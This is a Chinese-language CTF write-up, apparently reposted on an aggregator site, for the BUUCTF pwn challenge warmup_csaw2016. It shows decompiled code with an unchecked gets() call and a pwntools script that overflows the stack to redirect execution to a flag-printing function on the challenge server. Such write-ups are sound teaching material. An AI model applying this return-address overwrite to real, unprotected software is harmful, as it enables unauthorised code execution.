BUUCTF pwn warmup_csaw2016 wp

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF pwn warmup_csaw2016 wp相关的知识,希望对你有一定的参考价值。

一、考点

栈溢出

二、题目

这是buuctf中的一道简单的pwn,题目见下图:
在这里插入图片描述

三、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
在这里插入图片描述

3、IDA静态分析

拖入IDA进行静态分析,主函数为:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

查看主函数中的sub_40060D函数:

int sub_40060D()
{
  return system("cat flag.txt");
}

可判断,劫持控制流到该函数可在终端看到flag。

4、编写exp

根据IDA中的分析,gets函数将用户输入的字符覆盖到v5,该变量为rbp-40h。exp的payload应在覆盖40h后,再覆盖8字节rbp,而后填入sub_40060D的虚拟地址。

from pwn import *

r = remote('node3.buuoj.cn', 29608)
r.recvuntil('Up-\\n')
r.recvuntil('0d\\n')
r.recvuntil('>')

payload = 'a'*72 + p64(0x40060d)
r.sendline(payload)
r.interactive()

运行该脚本后,得到flag:
在这里插入图片描述

以上是关于BUUCTF pwn warmup_csaw2016 wp的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-PWN-Writeup-1-5

BUUCTF-PWN-Writeup-1-5

BUUCTF-PWN-Writeup-1-5

buuctf pwn babyshell wp

buuctf@pwn1_sctf_2016

buuctf pwn wp---part1